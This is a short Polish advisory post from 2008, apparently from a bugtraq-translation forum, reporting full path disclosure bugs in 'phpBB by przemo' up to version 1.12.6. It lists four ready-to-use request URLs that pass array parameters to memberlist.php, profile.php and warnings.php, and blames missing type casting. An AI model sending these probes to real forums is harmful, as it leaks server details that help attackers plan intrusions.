phpBB by przemo, kilka FPD

Polskie tłumaczenie bugtraqu

Przetłumaczył: vizzdoom
Temat artykułu: phpBB by przemo, kilka FPD
Źródło: vizzdoom
Podatne wersje: < -oo ; 1.12.6 >
Data publikacji: 2008-03-26 15:24:45
Czytano: 1656 razy

Full Path Disclosure

/memberlist.php?mode[]=vizzdoom
/memberlist.php?letter[]=vizzdoom
/profile.php?mode[]=vizzdoom
/warnings.php?username[]=vizzdoom

I wiele innych jak człowiek się tam lepiej przyjrzy. Gdzieniegdzie działają jedne, gdzie niegdzie drugie i jest ich dużo więcej. Powodem jest złe filtrowanie co poniektórych zmiennych na obecność tablic (brak rzutowania typów).

vizzdoom
underground-crew

Post został pochwalony 0 razy